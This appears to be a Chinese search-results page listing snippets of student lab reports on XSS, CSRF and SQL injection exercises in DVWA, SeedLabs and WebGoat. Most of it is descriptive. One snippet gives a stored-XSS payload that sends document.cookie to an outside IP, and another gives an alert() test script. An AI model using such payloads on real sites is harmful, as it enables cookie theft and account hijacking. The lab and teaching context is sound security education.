    实验原理:xss攻击是web攻击中最常见的攻击方法之一,恶意攻击者往web页面里插入恶意html代码,当用户浏览该页时,嵌入其中web里面HTML代码会被执行,从而达到恶意攻击用户的特殊目的。在xss的攻击方式中需要欺骗...
  • 跨站请求伪造是Web安全中最基础的一个实验,由于现在网站的防护措施做的比较完善,已经不怎么能见到这种攻击了,更多的是下一篇博客所讲述的跨站脚本攻击XSS) 这个实验比较简单,所以百分之五十的时间花在摸索...
  • web安全技术-实验七、跨站脚本攻击xss)(反射型)
  • 目录标题一级目录二级目录1、概述2、实验室环境3、实验室的任务3.1任务1:发布恶意消息以显示警报窗口3.2任务2:发送恶意信息显示cookie3.3任务3:从受害者的机器上偷取cookies3.4任务4:用偷来的cookie冒充受害者3.5...
  • Web攻防实验报告

    2015-01-24 22:41:53
    Web攻防实验报告,设计WebGoat攻击和预防以及XSS攻击预防的详细实验步骤,了解Web攻防原理
  • 渗透实验三#XSS#SQL

    2020-12-03 23:03:54
    了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。 系统环境:Kali Linux 2、Windows Server ...
  • DVWA平台反射型XSS实验

    2021-05-24 11:59:45
    XSS(跨站脚本攻击),攻击WEB客户端 注入客户端脚本代码 可以做到盗取cookie,重定向等 脚本语言javascript 黑客给服务器发送一个JS脚本,服务器就会回一个页面,将这个页面发给用户,用户在访问服务器时就会被...
  • 预备知识 跨站脚本攻击(Cross Site Scripting),缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 XSS的分类: 反射...
  • 实验XSS和SQL注入

    2020-12-18 18:14:46
    了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。 **系统环境:**Kali Linux 2、Windows ...
  • SeedLabs-Web安全-XSS实验

    2021-06-23 16:49:17
    SeedLabs-Web安全-XSS实验 文章目录SeedLabs-Web安全-XSS实验前言一、Lab Tasks1.1 熟悉“HTTP Header Live”工具1.2 发布恶意消息以显示警报窗口1.3 发布恶意消息以显示Cookie1.4 从受害者的机器上窃取Cookie ...
  • [实验]xss dvwa

    千次阅读 2017-03-19 15:48:04
    初次接触xss 反射型XSS 存储型XSS 漏洞利用 参考list
  • 2.xss靶机攻击   nmap 扫描一下发现靶机开着80端口和ssh协议 发现有弹窗回显,存在xss漏洞 在靶机上留言<script>document.write('<img src="http://192.168.138.139/?'+document.cookie+' "/>') 可以...
  • 说明:套用实验报告模板,红色部分无需复制到报告。 实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL...
  • 文章目录第1章 绪 论1.1 XSS1.1.1 XSS的介绍1.1.2 XSS的种类1.2 Cookie1.2.1 Cookie的介绍1.2.2 Cookie的特性1.2.3 Cookie的功用第2章 相关技术与基础知识简介2.1 基本漏洞测试工具2.2 反射XSS盗取Cookie第3章 漏洞...
  • 反射型跨站脚本攻击实验 DVWA低安全等级 1.弹窗警告 在输入框中输入以下代码,点击上传,即可看到包含“弹窗内容”四字的弹窗警告 <script>alert("弹窗内容")</script> 2.页面嵌套 在输入框中输入...
  • 实验一 流量捕获实验 3 实验二 TCP/IP 协议攻击 23 实验三 CA 证书与 SSL连接 50 实验四 配置主机防火墙防止 DOS 攻击 66 实验五 WI-FI 钓鱼 72 ...实验XSS 跨站脚本攻击 87 实验八 SQL 注入攻击 99
  • 实验三: CSRF&XSS

    千次阅读 2017-12-16 19:40:07
    信息安全实践实验报告链接实验一: 自建HTTPS实验二: CSS实验三: CSRF&XSS备注# base64编码地址: https://www.base64encode.org/ CSRF目前还存在一定的问题, 虽然可以达到预期效果, 以后会更改一部分, XSS前言虽然对...
  • XSS攻击和CSRF有类似的地方,但是他比CSRF更难防,也更常见。 CSRF是伪造一个跨站请求,他要先骗别人进入自己精心设计的网站,但是一个不被信任的第三方网站在跳转时,往往站点会贴心地提醒你有被攻击的风险。但是跨...
  • 实验报告

    2018-04-25 14:15:00
    中国人民公安大学 Chinese people’public security university ...实验报告 实验五  web攻击靶机解题过程 学生姓名 栗克宇 年级 15...
  • XSS和SQL注入

    2020-12-14 19:40:08
    说明:套用实验报告模板,红色部分无需复制到报告。 实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 836
精华内容 334
关键字:

xss攻击实验报告